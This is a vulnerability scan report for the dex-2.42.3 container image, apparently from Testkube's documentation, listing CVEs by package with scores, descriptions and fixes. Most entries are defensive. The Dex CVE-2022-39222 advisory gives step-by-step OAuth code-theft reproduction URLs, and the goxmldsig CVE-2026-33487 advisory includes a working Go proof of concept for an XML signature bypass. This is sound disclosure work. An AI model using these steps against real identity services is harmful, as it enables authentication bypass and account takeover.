Skip to main content
Testkube 2.7.0 is out! An improved resource management architecture and a new GitOps Agent, AI improvements, and more. Read More

dex-2.42.3_linux_amd64

digestsha256:db03bd0a7b5d26c4c36034f227f3b16c1d3bdadf3bd56eb23f2ca9c442716cb6
vulnerabilitiescritical: 5 high: 15 medium: 26 low: 7
platformlinux/amd64
size44 MB
packages303
critical: 3 high: 0 medium: 0 low: 0 github.com/dexidp/dex 0.0.0-20250523112731-94f2c587b299+dirty (golang)

pkg:golang/github.com/dexidp/dex@0.0.0-20250523112731-94f2c587b299%2Bdirty
critical 9.8: CVE--2020--27847 Improper Handling of Syntactically Invalid Structure

Affected range<2.27.0
Fixed version2.27.0
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.357%
EPSS Percentile58th percentile
Description

A vulnerability exists in the SAML connector of the github.com/dexidp/dex library used to process SAML Signature Validation. This flaw allows an attacker to bypass SAML authentication. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability. This flaw affects dex versions before 2.27.0.

critical 9.3: CVE--2022--39222 Exposure of Sensitive Information to an Unauthorized Actor

Affected range<=2.34.0
Fixed version2.35.0
CVSS Score9.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
EPSS Score1.123%
EPSS Percentile78th percentile
Description

Impact​

Dex instances with public clients (and by extension, clients accepting tokens issued by those Dex instances) are affected by this vulnerability.

An attacker can exploit this vulnerability by making a victim navigate to a malicious website and guiding them through the OIDC flow, stealing the OAuth authorization code in the process. The authorization code then can be exchanged by the attacker for a token, gaining access to applications accepting that token.

Steps to reproduce​

  1. A victim navigates to a malicious website

  2. The webserver initiates a connection with a Dex instance directly - https://dexexample.com/auth/https:%252F%252Faccounts.google.com?access_type=online&client_id=example&nonce=2AaJAimQU9CbeOFsNra1d7CJTWB&redirect_uri=http%3A%2F%2Flocalhost%3A40393%2Fauth%2Fcallback&response_type=code&scope=openid+email&state=2AaJAjhpUmsB25csCo5muvorMTl. In this example, the Dex instance is hosted on dexexample.com, and the connector is accounts.google.com.

  3. Dex returns a 302 Redirect to the connector IDP, https://accounts.google.com/o/oauth2/v2/auth?client_id=237800849078-hri2ndt7gdafpf34kq8crd5sik9pe3so.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fdexexample.com%2Fauth%2Fcallback&response_type=code&scope=openid+email&state=g3dkmpontsr3ugocoddjx72ef. The attacker records the state parameter value g3dkmpontsr3ugocoddjx72ef which will be used as the request ID later on.

  4. The malicious website redirects the victim’s browser to the connector IDP.

  5. The user authenticates to the connector IDP. If they have authenticated before, they may not be presented with an authentication challenge. The user will silently be taken through the following steps:

    Authentication with the connector IDP, which redirects the browser to the Dex callback with a code - https://dexexample.com/callback?state=g3dkmpontsr3ugocoddjx72ef&code=4%2F0AX4XfWizg1PQEQNl18hmP0_YQ3iUYII2ed13n9ikKr_ZcV7uCZpZaPcIlxBzX5QwFIcs-w&scope=email+openid+https%3A%2F%[2Fwww.googleapis.com](http://2fwww.googleapis.com/)%2Fauth%2Fuserinfo.email&authuser=0&hd=[google.com](http://google.com/)&prompt=none

    Dex handles the callback, fetching the user claims from the connector IDP, persisting them and generating an OAuth code. Then Dex redirects the browser to the approval endpoint https://dexexample.com/approval?req=g3dkmpontsr3ugocoddjx72ef. Note that the req parameter is the same as the attacker's recorded state parameter.

    Dex uses the request ID to look up the OAuth code, and builds a redirect to the original callback with the code - http://localhost:40393/auth/callback?code=bz5p3oov2wlh5k3rboa4atxas&state=2AaJAjhpUmsB25csCo5muvorMTl.

In step 2., when the webserver initiates the connection to Dex and receives the redirect to the connector IDP, the webserver will persist the connector state parameter (g3dkmpontsr3ugocoddjx72ef), which is used as the request ID to later look up the OAuth code. As the user goes through the authentication flow with the connector IDP, the webserver will repeatedly request /approval?req=<state>. Once the user has successfully authenticated, if the webserver is able to call /approval before the victim’s browser calls /approval, then an attacker can fetch the Dex OAuth code which can be exchanged for an ID token using the /token endpoint.

Note that PKCE does not defend against this attack since the webserver initiates the request to Dex with a known code challenge.

Fix​

The request has been made unpredictable with message authentication. This was accomplished by creating an HMAC using a randomly generated per-request secret. This secret is persisted between the initial login request and the approval request. Since the HMAC is derived using a secret key, its value cannot be known to an attacker, so they will be unable to poll /approval for the code.

Patches​

Update to 2.35.0.

Workarounds​

No known workarounds (without impacting behavior) for existing versions.

Disabling public clients is the only way to defend against attacks exploiting this vulnerability.

References​

For more information​

If you have any questions or comments about this advisory:

critical 9.3: CVE--2020--26290 Improper Verification of Cryptographic Signature

Affected range<2.27.0
Fixed version2.27.0
CVSS Score9.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
EPSS Score0.500%
EPSS Percentile66th percentile
Description

Impact​

The following vulnerabilities have been disclosed, which impact users leveraging the SAML connector:

Signature Validation Bypass (CVE-2020-15216): https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7

encoding/xml instabilities:

Patches​

Immediately update to Dex v2.27.0.

Workarounds​

There are no known workarounds.

critical: 1 high: 7 medium: 11 low: 1 stdlib 1.24.4 (golang)

pkg:golang/stdlib@1.24.4
critical : CVE--2025--68121

Affected range<1.24.13
Fixed version1.24.13
EPSS Score0.013%
EPSS Percentile2nd percentile
Description

During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

high : CVE--2026--25679

Affected range<1.25.8
Fixed version1.25.8
EPSS Score0.072%
EPSS Percentile22nd percentile
Description

url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.017%
EPSS Percentile4th percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61726

Affected range<1.24.12
Fixed version1.24.12
EPSS Score0.032%
EPSS Percentile9th percentile
Description

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.030%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.028%
EPSS Percentile8th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.006%
EPSS Percentile0th percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.013%
EPSS Percentile2nd percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

medium : CVE--2025--61728

Affected range<1.24.12
Fixed version1.24.12
EPSS Score0.022%
EPSS Percentile6th percentile
Description

archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive.

medium : CVE--2025--61727

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.011%
EPSS Percentile1st percentile
Description

An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com.

medium : CVE--2025--47906

Affected range
>=1.24.0
<1.24.6
Fixed version1.24.6
EPSS Score0.028%
EPSS Percentile7th percentile
Description

If the PATH environment variable contains paths which are executables (rather than just directories), passing certain strings to LookPath ("", ".", and ".."), can result in the binaries listed in the PATH being unexpectedly returned.

medium : CVE--2026--27142

Affected range<1.25.8
Fixed version1.25.8
EPSS Score0.033%
EPSS Percentile9th percentile
Description

Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh".

A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0.

medium : CVE--2025--61730

Affected range<1.24.12
Fixed version1.24.12
EPSS Score0.007%
EPSS Percentile1st percentile
Description

During the TLS 1.3 handshake if multiple messages are sent in records that span encryption level boundaries (for instance the Client Hello and Encrypted Extensions messages), the subsequent messages may be processed before the encryption level changes. This can cause some minor information disclosure if a network-local attacker can inject messages during the handshake.

medium : CVE--2025--61724

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

The Reader.ReadResponse function constructs a response string through repeated string concatenation of lines. When the number of lines in a response is large, this can cause excessive CPU consumption.

medium : CVE--2025--58189

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.009%
EPSS Percentile1st percentile
Description

When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped.

medium : CVE--2025--58186

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.029%
EPSS Percentile8th percentile
Description

Despite HTTP headers having a default limit of 1MB, the number of cookies that can be parsed does not have a limit. By sending a lot of very small cookies such as "a=;", an attacker can make an HTTP server allocate a large amount of structs, causing large memory consumption.

medium : CVE--2025--58185

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.024%
EPSS Percentile6th percentile
Description

Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion.

medium : CVE--2025--47912

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.023%
EPSS Percentile6th percentile
Description

The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL. RFC 3986 permits IPv6 addresses to be included within the host component, enclosed within square brackets. For example: "http://[::1]/". IPv4 addresses and hostnames must not appear within square brackets. Parse did not enforce this requirement.

medium : CVE--2025--58183

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.013%
EPSS Percentile2nd percentile
Description

tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A maliciously-crafted archive containing a large number of sparse regions can cause a Reader to read an unbounded amount of data from the archive into memory. When reading from a compressed source, a small compressed input can result in large allocations.

low : CVE--2026--27139

Affected range<1.25.8
Fixed version1.25.8
EPSS Score0.005%
EPSS Percentile0th percentile
Description

On Unix platforms, when listing the contents of a directory using File.ReadDir or File.Readdir the returned FileInfo could reference a file outside of the Root in which the File was opened.

The impact of this escape is limited to reading metadata provided by lstat from arbitrary locations on the filesystem without permitting reading or writing files outside the root.

critical: 1 high: 0 medium: 0 low: 0 google.golang.org/grpc 1.72.1 (golang)

pkg:golang/google.golang.org/grpc@1.72.1
critical 9.1: CVE--2026--33186 Improper Authorization

Affected range<1.79.3
Fixed version1.79.3
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Description

Impact​

What kind of vulnerability is it? Who is impacted?

It is an Authorization Bypass resulting from Improper Input Validation of the HTTP/2 :path pseudo-header.

The gRPC-Go server was too lenient in its routing logic, accepting requests where the :path omitted the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official grpc/authz package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with /) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present.

Who is impacted? This affects gRPC-Go servers that meet both of the following criteria:

  1. They use path-based authorization interceptors, such as the official RBAC implementation in google.golang.org/grpc/authz or custom interceptors relying on info.FullMethod or grpc.Method(ctx).
  2. Their security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule).

The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed :path headers directly to the gRPC server.

Patches​

Has the problem been patched? What versions should users upgrade to?

Yes, the issue has been patched. The fix ensures that any request with a :path that does not start with a leading slash is immediately rejected with a codes.Unimplemented error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string.

Users should upgrade to the following versions (or newer):

  • v1.79.3
  • The latest master branch.

It is recommended that all users employing path-based authorization (especially grpc/authz) upgrade as soon as the patch is available in a tagged release.

Workarounds​

Is there a way for users to fix or remediate the vulnerability without upgrading?

While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods:

Add an "outermost" interceptor to your server that validates the path before any other authorization logic runs:

func pathValidationInterceptor(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
    if info.FullMethod == "" || info.FullMethod[0] != '/' {
        return nil, status.Errorf(codes.Unimplemented, "malformed method name")
    }   
    return handler(ctx, req)
}

// Ensure this is the FIRST interceptor in your chain
s := grpc.NewServer(
    grpc.ChainUnaryInterceptor(pathValidationInterceptor, authzInterceptor),
)

2. Infrastructure-Level Normalization​

If your gRPC server is behind a reverse proxy or load balancer (such as Envoy, NGINX, or an L7 Cloud Load Balancer), ensure it is configured to enforce strict HTTP/2 compliance for pseudo-headers and reject or normalize requests where the :path header does not start with a leading slash.

3. Policy Hardening​

Switch to a "default deny" posture in your authorization policies (explicitly listing all allowed paths and denying everything else) to reduce the risk of bypasses via malformed inputs.

critical: 0 high: 5 medium: 8 low: 0 openssl 3.3.3-r0 (apk)

pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.21
high : CVE--2025--15467

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.777%
EPSS Percentile73rd percentile
Description

high : CVE--2025--9230

Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.031%
EPSS Percentile9th percentile
Description

high : CVE--2025--69421

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.065%
EPSS Percentile20th percentile
Description

high : CVE--2025--69420

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.199%
EPSS Percentile42nd percentile
Description

high : CVE--2025--69419

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.061%
EPSS Percentile19th percentile
Description

medium : CVE--2025--9231

Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.022%
EPSS Percentile6th percentile
Description

medium : CVE--2025--9232

Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.036%
EPSS Percentile10th percentile
Description

medium : CVE--2025--66199

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.064%
EPSS Percentile20th percentile
Description

medium : CVE--2025--15468

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.052%
EPSS Percentile16th percentile
Description

medium : CVE--2026--22795

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.017%
EPSS Percentile4th percentile
Description

medium : CVE--2026--22796

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.077%
EPSS Percentile23rd percentile
Description

medium : CVE--2025--68160

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.016%
EPSS Percentile4th percentile
Description

medium : CVE--2025--69418

Affected range<3.3.6-r0
Fixed version3.3.6-r0
EPSS Score0.005%
EPSS Percentile0th percentile
Description
critical: 0 high: 1 medium: 2 low: 0 golang.org/x/crypto 0.38.0 (golang)

pkg:golang/golang.org/x/crypto@0.38.0
high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.039%
EPSS Percentile11th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

medium 5.3: CVE--2025--58181 Allocation of Resources Without Limits or Throttling

Affected range<0.45.0
Fixed version0.45.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.083%
EPSS Percentile24th percentile
Description

SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.

medium 5.3: CVE--2025--47914 Out-of-bounds Read

Affected range<0.45.0
Fixed version0.45.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.018%
EPSS Percentile4th percentile
Description

SSH Agent servers do not validate the size of messages when processing new identity requests, which may cause the program to panic if the message is malformed due to an out of bounds read.

critical: 0 high: 1 medium: 0 low: 0 go.opentelemetry.io/otel/sdk 1.36.0 (golang)

pkg:golang/go.opentelemetry.io/otel/sdk@1.36.0
high 7.0: CVE--2026--24051 Untrusted Search Path

Affected range
>=1.21.0
<1.40.0
Fixed version1.40.0
CVSS Score7
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.007%
EPSS Percentile0th percentile
Description

Impact​

The OpenTelemetry Go SDK in version v1.20.0-1.39.0 is vulnerable to Path Hijacking (Untrusted Search Paths) on macOS/Darwin systems. The resource detection code in sdk/resource/host_id.go executes the ioreg system command using a search path. An attacker with the ability to locally modify the PATH environment variable can achieve Arbitrary Code Execution (ACE) within the context of the application.

Patches​

This has been patched in d45961b, which was released with v1.40.0.

References​

critical: 0 high: 1 medium: 0 low: 0 github.com/russellhaering/goxmldsig 1.5.0 (golang)

pkg:golang/github.com/russellhaering/goxmldsig@1.5.0
high 7.5: CVE--2026--33487 Improper Verification of Cryptographic Signature

Affected range<=1.5.0
Fixed version1.6.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Description

Details​

The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.

Technical Details​

The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.

As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.

Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.

// goxmldsig/validate.go (Lines 309-313)	
for _, _ref := range signedInfo.References {
		if _ref.URI == "" || _ref.URI[1:] == idAttr {
			ref = &_ref // <- Capture var address of loop
		}
	}

PoC​

The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.

package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"encoding/base64"
	"fmt"
	"math/big"
	"time"

	"github.com/beevik/etree"
	dsig "github.com/russellhaering/goxmldsig"
)

func main() {
	key, err := rsa.GenerateKey(rand.Reader, 2048)
	if err != nil {
		panic(err)
	}

	template := &x509.Certificate{
		SerialNumber: big.NewInt(1),
		NotBefore:    time.Now().Add(-1 * time.Hour),
		NotAfter:     time.Now().Add(1 * time.Hour),
	}

	certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
	if err != nil {
		panic(err)
	}

	cert, _ := x509.ParseCertificate(certDER)

	doc := etree.NewDocument()
	root := doc.CreateElement("Root")
	root.CreateAttr("ID", "target")
	root.SetText("Malicious Content")

	tlsCert := tls.Certificate{
		Certificate: [][]byte{cert.Raw},
		PrivateKey:  key,
	}

	ks := dsig.TLSCertKeyStore(tlsCert)
	signingCtx := dsig.NewDefaultSigningContext(ks)

	sig, err := signingCtx.ConstructSignature(root, true)
	if err != nil {
		panic(err)
	}

	signedInfo := sig.FindElement("./SignedInfo")

	existingRef := signedInfo.FindElement("./Reference")
	existingRef.CreateAttr("URI", "#dummy")

	originalEl := etree.NewElement("Root")
	originalEl.CreateAttr("ID", "target")
	originalEl.SetText("Original Content")

	sig1, _ := signingCtx.ConstructSignature(originalEl, true)
	ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()

	signedInfo.InsertChildAt(existingRef.Index(), ref1)

	c14n := signingCtx.Canonicalizer

	detachedSI := signedInfo.Copy()
	if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
		detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
	}

	canonicalBytes, err := c14n.Canonicalize(detachedSI)
	if err != nil {
		fmt.Println("c14n error:", err)
		return
	}

	hash := signingCtx.Hash.New()
	hash.Write(canonicalBytes)
	digest := hash.Sum(nil)

	rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
	if err != nil {
		panic(err)
	}

	sigVal := sig.FindElement("./SignatureValue")
	sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))

	certStore := &dsig.MemoryX509CertificateStore{
		Roots: []*x509.Certificate{cert},
	}
	valCtx := dsig.NewDefaultValidationContext(certStore)

	root.AddChild(sig)

	doc.SetRoot(root)
	str, _ := doc.WriteToString()
	fmt.Println("XML:")
	fmt.Println(str)

	validated, err := valCtx.Validate(root)
	if err != nil {
		fmt.Println("validation failed:", err)
	} else {
		fmt.Println("validation ok")
		fmt.Println("validated text:", validated.Text())
	}
}

Impact​

This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.

Remediation​

Update the loop to capture the value correctly or use the index to reference the slice directly.

// goxmldsig/validate.go	
func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {
	var ref *types.Reference

  // OLD
	// for _, _ref := range signedInfo.References {
	// 	if _ref.URI == "" || _ref.URI[1:] == idAttr {
	// 		ref = &_ref
	// 	}
	// }
	
  // FIX
	for i := range signedInfo.References {
		if signedInfo.References[i].URI == "" ||
			signedInfo.References[i].URI[1:] == idAttr {
			ref = &signedInfo.References[i]
			break
		}
	}

	// ...
}

References​

https://cwe.mitre.org/data/definitions/347.html

https://cwe.mitre.org/data/definitions/682.html

https://github.com/russellhaering/goxmldsig/blob/main/validate.go

Author: Tomas Illuminati

critical: 0 high: 0 medium: 2 low: 0 golang.org/x/net 0.40.0 (golang)

pkg:golang/golang.org/x/net@0.40.0
medium : CVE--2025--58190

Affected range<0.45.0
Fixed version0.45.0
EPSS Score0.011%
EPSS Percentile1st percentile
Description

The html.Parse function in golang.org/x/net/html has an infinite parsing loop when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content.

medium : CVE--2025--47911

Affected range<0.45.0
Fixed version0.45.0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

The html.Parse function in golang.org/x/net/html has quadratic parsing complexity when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content.

critical: 0 high: 0 medium: 1 low: 2 busybox 1.37.0-r12 (apk)

pkg:apk/alpine/busybox@1.37.0-r12?os_name=alpine&os_version=3.21
medium : CVE--2025--60876

Affected range<=1.37.0-r13
Fixed versionNot Fixed
EPSS Score0.064%
EPSS Percentile20th percentile
Description

low : CVE--2025--46394

Affected range<1.37.0-r14
Fixed version1.37.0-r14
EPSS Score0.083%
EPSS Percentile24th percentile
Description

low : CVE--2024--58251

Affected range<1.37.0-r14
Fixed version1.37.0-r14
EPSS Score0.077%
EPSS Percentile23rd percentile
Description
critical: 0 high: 0 medium: 1 low: 1 github.com/aws/aws-sdk-go 1.55.7 (golang)

pkg:golang/github.com/aws/aws-sdk-go@1.55.7
medium : CVE--2020--8911

Affected range>=0
Fixed versionNot Fixed
EPSS Score0.203%
EPSS Percentile42nd percentile
Description

A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

low : CVE--2020--8912

Affected range>=0
Fixed versionNot Fixed
EPSS Score0.141%
EPSS Percentile34th percentile
Description

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

critical: 0 high: 0 medium: 1 low: 0 github.com/go-git/go-git/v5 5.16.0 (golang)

pkg:golang/github.com/go-git/go-git@5.16.0#v5
medium 4.3: CVE--2026--25934 Improper Validation of Integrity Check Value

Affected range<=5.16.4
Fixed version5.16.5
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
EPSS Score0.006%
EPSS Percentile0th percentile
Description

Impact​

A vulnerability was discovered in go-git whereby data integrity values for .pack and .idx files were not properly verified. This resulted in go-git potentially consuming corrupted files, which would likely result in unexpected errors such as object not found.

For context, clients fetch packfiles from upstream Git servers. Those files contain a checksum of their contents, so that clients can perform integrity checks before consuming it. The pack indexes (.idx) are generated locally by go-git, or the git cli, when new .pack files are received and processed. The integrity checks for both files were not being verified correctly.

Note that the lack of verification of the packfile checksum has no impact on the trust relationship between the client and server, which is enforced based on the protocol being used (e.g. TLS in the case of https:// or known hosts for ssh://). In other words, the packfile checksum verification does not provide any security benefits when connecting to a malicious or compromised Git server.

Patches​

Users should upgrade to v5.16.5, or the latest v6 pseudo-version, in order to mitigate this vulnerability.

Workarounds​

In case updating to a fixed version of go-git is not possible, users can run git fsck from the git cli to check for data corruption on a given repository.

Credit​

Thanks @N0zoM1z0 for finding and reporting this issue privately to the go-git project.

critical: 0 high: 0 medium: 0 low: 1 zlib 1.3.1-r2 (apk)

pkg:apk/alpine/zlib@1.3.1-r2?os_name=alpine&os_version=3.21
low : CVE--2026--27171

Affected range<=1.3.1-r2
Fixed versionNot Fixed
EPSS Score0.006%
EPSS Percentile0th percentile
Description
critical: 0 high: 0 medium: 0 low: 1 filippo.io/edwards25519 1.1.0 (golang)

pkg:golang/filippo.io/edwards25519@1.1.0
low 1.7: CVE--2026--26958 Improper Initialization

Affected range<1.1.1
Fixed version1.1.1
CVSS Score1.7
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U
EPSS Score0.052%
EPSS Percentile16th percentile
Description

(*Point).MultiScalarMult failed to initialize its receiver.

If the method was called on an initialized point that is not the identity point, MultiScalarMult produced an incorrect result.

If the method was called on an uninitialized point, the behavior was undefined. In particular, if the receiver was the zero value, MultiScalarMult returned an invalid point that compared Equal to every point.

Note that MultiScalarMult is a rarely used advanced API. For example, if you only depend on filippo.io/edwards25519 via github.com/go-sql-driver/mysql, you are not affected. If you were notified of this issue despite not being affected, consider switching to a vulnerability scanner that is more precise and respectful of your attention, like govulncheck.

critical: 0 high: 0 medium: 0 low: 1 github.com/cloudflare/circl 1.6.1 (golang)

pkg:golang/github.com/cloudflare/circl@1.6.1
low 2.9: CVE--2026--1229 Incorrect Calculation

Affected range<1.6.3
Fixed version1.6.3
CVSS Score2.9
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/S:N/AU:Y/U:Amber
EPSS Score0.020%
EPSS Percentile5th percentile
Description

The CombinedMult function in the CIRCL ecc/p384 package (secp384r1 curve) produces an incorrect value for specific inputs. The issue is fixed by using complete addition formulas. ECDH and ECDSA signing relying on this curve are not affected.

The bug was fixed in v1.6.3.